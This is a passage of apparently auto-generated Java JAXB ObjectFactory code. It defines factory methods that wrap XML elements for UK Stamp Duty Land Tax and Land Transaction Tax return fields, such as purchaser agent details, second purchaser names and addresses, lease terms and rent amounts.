createSDLTSDLTPurchaserAgentAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaserAgentAddress3_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PurchaserAgentAddress4", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaserAgentAddress4(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaserAgentAddress4_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PurchaserAgentDXNo", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaserAgentDXNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaserAgentDXNo_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PurchaserAgentDXExchange", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaserAgentDXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaserAgentDXExchange_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PurchaserAgentReference", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaserAgentReference(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaserAgentReference_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PurchaserAgentTelNo", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaserAgentTelNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaserAgentTelNo_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PurchaserAgentEmail", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaserAgentEmail(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaserAgentEmail_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser2Title", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser2Title(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser2Title_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser2Surname", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser2Surname(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser2Surname_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser2FirstName1", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser2FirstName1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser2FirstName1_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser2FirstName2", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser2FirstName2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser2FirstName2_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser2AddressSameYesNo", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTSDLTPurchaser2AddressSameYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLTPurchaser2AddressSameYesNo_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser2AddressPostcode", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser2AddressPostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser2AddressPostcode_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser2AddressBuildingNo", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser2AddressBuildingNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser2AddressBuildingNo_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser2Address1", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser2Address1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser2Address1_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser2Address2", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser2Address2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser2Address2_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser2Address3", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser2Address3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser2Address3_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser2Address4", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser2Address4(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser2Address4_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser2Email", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser2Email(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser2Email_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser2ActingAsTrusteeYesNo", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTSDLTPurchaser2ActingAsTrusteeYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLTPurchaser2ActingAsTrusteeYesNo_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_NumberOfSDLT2s", scope = SDLT.class) public JAXBElement<String> createSDLTSDLTNumberOfSDLT2S(String value) { return new JAXBElement<String>(_SDLTSDLTNumberOfSDLT2S_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_NumberOfSDLT3s", scope = SDLT.class) public JAXBElement<String> createSDLTSDLTNumberOfSDLT3S(String value) { return new JAXBElement<String>(_SDLTSDLTNumberOfSDLT3S_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_NumberOfSDLT4s", scope = SDLT.class) public JAXBElement<String> createSDLTSDLTNumberOfSDLT4S(String value) { return new JAXBElement<String>(_SDLTSDLTNumberOfSDLT4S_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_ReclaimingHigherRate", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTReclaimingHigherRate(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTReclaimingHigherRate_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_TotalIncludeVAT", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTTotalIncludeVAT(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTTotalIncludeVAT_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Country", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTCountry(StringType value) { return new JAXBElement<StringType>(_SDLTLTTCountry_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LandExchangedCountry", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTLandExchangedCountry(StringType value) { return new JAXBElement<StringType>(_SDLTLTTLandExchangedCountry_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_WRATaxOpinion", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTWRATaxOpinion(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTWRATaxOpinion_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_WRATaxOpinionNumber", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTWRATaxOpinionNumber(StringType value) { return new JAXBElement<StringType>(_SDLTLTTWRATaxOpinionNumber_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_PartOfOtherUK", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTPartOfOtherUK(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTPartOfOtherUK_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link TaxPaymentMethodType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link TaxPaymentMethodType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_TaxPaymentMethod", scope = SDLT.class) public JAXBElement<TaxPaymentMethodType> createSDLTLTTTaxPaymentMethod(TaxPaymentMethodType value) { return new JAXBElement<TaxPaymentMethodType>(_SDLTLTTTaxPaymentMethod_QNAME, TaxPaymentMethodType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_ReliefClaimedOnPart", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTReliefClaimedOnPart(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTReliefClaimedOnPart_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LinkedUTRN", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTLinkedUTRN(StringType value) { return new JAXBElement<StringType>(_SDLTLTTLinkedUTRN_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_PartOfSaleBusiness", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTPartOfSaleBusiness(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTPartOfSaleBusiness_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_IncludeNotChargeable", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTIncludeNotChargeable(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTIncludeNotChargeable_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_MattersNotChargeable", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTMattersNotChargeable(StringType value) { return new JAXBElement<StringType>(_SDLTLTTMattersNotChargeable_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_AmountOtherMatters", scope = SDLT.class) public JAXBElement<String> createSDLTLTTAmountOtherMatters(String value) { return new JAXBElement<String>(_SDLTLTTAmountOtherMatters_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_UncertainFutureEvents", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTUncertainFutureEvents(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTUncertainFutureEvents_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_PayOnDeferredBasis", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTPayOnDeferredBasis(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTPayOnDeferredBasis_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_FurtherReturnPrevious", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTFurtherReturnPrevious(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTFurtherReturnPrevious_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_PreviousReturnUTRN", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTPreviousReturnUTRN(StringType value) { return new JAXBElement<StringType>(_SDLTLTTPreviousReturnUTRN_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_FurtherReturnReason", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTFurtherReturnReason(StringType value) { return new JAXBElement<StringType>(_SDLTLTTFurtherReturnReason_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_TermSurrendered", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTTermSurrendered(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTTermSurrendered_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_RentPreviousLease", scope = SDLT.class) public JAXBElement<String> createSDLTLTTRentPreviousLease(String value) { return new JAXBElement<String>(_SDLTLTTRentPreviousLease_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_UnexpiredLeaseTerm", scope = SDLT.class) public JAXBElement<String> createSDLTLTTUnexpiredLeaseTerm(String value) { return new JAXBElement<String>(_SDLTLTTUnexpiredLeaseTerm_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_BreakClauseType", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTBreakClauseType(StringType value) { return new JAXBElement<StringType>(_SDLTLTTBreakClauseType_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_BreakClauseDate", scope = SDLT.class) public JAXBElement<String> createSDLTLTTBreakClauseDate(String value) { return new JAXBElement<String>(_SDLTLTTBreakClauseDate_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LeaseConditions", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTLeaseConditions(StringType value) { return new JAXBElement<StringType>(_SDLTLTTLeaseConditions_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_ContainRentReview", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTContainRentReview(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTContainRentReview_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_RentReviewFrequency", scope = SDLT.class) public JAXBElement<String> createSDLTLTTRentReviewFrequency(String value) { return new JAXBElement<String>(_SDLTLTTRentReviewFrequency_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_ReviewClause", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTReviewClause(StringType value) { return new JAXBElement<StringType>(_SDLTLTTReviewClause_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_FirstReview", scope = SDLT.class) public JAXBElement<String> createSDLTLTTFirstReview(String value) { return new JAXBElement<String>(_SDLTLTTFirstReview_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LeaseServiceCharge", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTLeaseServiceCharge(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTLeaseServiceCharge_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_ServiceChargeAmount", scope = SDLT.class) public JAXBElement<String> createSDLTLTTServiceChargeAmount(String value) { return new JAXBElement<String>(_SDLTLTTServiceChargeAmount_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_IsTenantToLandlord", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTIsTenantToLandlord(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTIsTenantToLandlord_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_TenantToLandlord", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTTenantToLandlord(StringType value) { return new JAXBElement<StringType>(_SDLTLTTTenantToLandlord_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_IsLandlordToTenant", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTLTTIsLandlordToTenant(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTLTTIsLandlordToTenant_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_LandlordToTenant", scope = SDLT.class) public JAXBElement<StringType> createSDLTLTTLandlordToTenant(StringType value) { return new JAXBElement<StringType>(_SDLTLTTLandlordToTenant_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_RentYear1", scope = SDLT.class) public JAXBElement<String> createSDLTLTTRentYear1(String value) { return new JAXBElement<String>(_SDLTLTTRentYear1_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_RentYear2", scope = SDLT.class) public JAXBElement<String> createSDLTLTTRentYear2(String value) { return new JAXBElement<String>(_SDLTLTTRentYear2_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_RentYear3", scope = SDLT.class) public JAXBElement<String> createSDLTLTTRentYear3(String value) { return new JAXBElement<String>(_SDLTLTTRentYear3_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_RentYear4", scope = SDLT.class) public JAXBElement<String> createSDLTLTTRentYear4(String value) { return new JAXBElement<String>(_SDLTLTTRentYear4_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code 